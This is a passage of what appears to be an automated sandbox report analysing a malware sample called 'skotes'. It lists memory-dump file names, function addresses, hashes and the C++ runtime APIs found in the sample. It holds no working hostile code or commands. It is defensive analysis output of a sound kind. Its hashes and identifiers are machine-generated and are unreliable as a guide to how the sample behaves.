                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: pExecutionResource
                                                                                                                                                                                                                                                                                    • API String ID: 1772865662-359481074
                                                                                                                                                                                                                                                                                    • Opcode ID: 026e684f97624972223e00ea639bde352d758589fc9aa8d0dee61d32c4f3a770
                                                                                                                                                                                                                                                                                    • Instruction ID: 3a7eb73f428b74e68193fcd83c35faa46068cae52a289bae34a0d7734ecdd38f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 026e684f97624972223e00ea639bde352d758589fc9aa8d0dee61d32c4f3a770
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3E21B675B413059BCB08EF64DC82BADB7B5BF98314F14802DF505AB282DBB0AE11CB91
                                                                                                                                                                                                                                                                                    Function 00174EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00174F24
                                                                                                                                                                                                                                                                                    • Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00174F66
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: count$ppVirtualProcessorRoots
                                                                                                                                                                                                                                                                                    • API String ID: 2663199487-3650809737
                                                                                                                                                                                                                                                                                    • Opcode ID: 2ab2a93226a8d0002325ea8455b3ee6ad255fd14fbd84754d3390227dfdacbde
                                                                                                                                                                                                                                                                                    • Instruction ID: 5b07763403dd3f5b338aae06ab30d388db29230e0ed1c7bf5e0773d5be0d1c9d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2ab2a93226a8d0002325ea8455b3ee6ad255fd14fbd84754d3390227dfdacbde
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0821F238A00215EFCB14EFA8D891EAD77B5BF48310F108069F50A97692DF31AE01CF51
                                                                                                                                                                                                                                                                                    Function 0017B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0017BA0E
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
                                                                                                                                                                                                                                                                                    • String ID: RoInitialize$RoUninitialize$combase.dll
                                                                                                                                                                                                                                                                                    • API String ID: 348560076-3997890769
                                                                                                                                                                                                                                                                                    • Opcode ID: 524ee6a99565e280048104e9b0e2b1468d4431a46eebb3674346771ff0c7b5c6
                                                                                                                                                                                                                                                                                    • Instruction ID: 02d351879250d7b079eaa2cb28f329788622543a4b11b334775603e890546133
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 524ee6a99565e280048104e9b0e2b1468d4431a46eebb3674346771ff0c7b5c6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8D0128B1585311AEEB10B7B24D45BAB35EE9F0236CF209829F554F3180EF34D8019765
                                                                                                                                                                                                                                                                                    Function 00176E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SafeRWList.LIBCONCRT ref: 00176E73
                                                                                                                                                                                                                                                                                      • Part of subcall function 00174E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00174E7F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00174E6E: List.LIBCMT ref: 00174E89
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00176E85
                                                                                                                                                                                                                                                                                    • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00176EAA
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: eventObject
                                                                                                                                                                                                                                                                                    • API String ID: 1288476792-1680012138
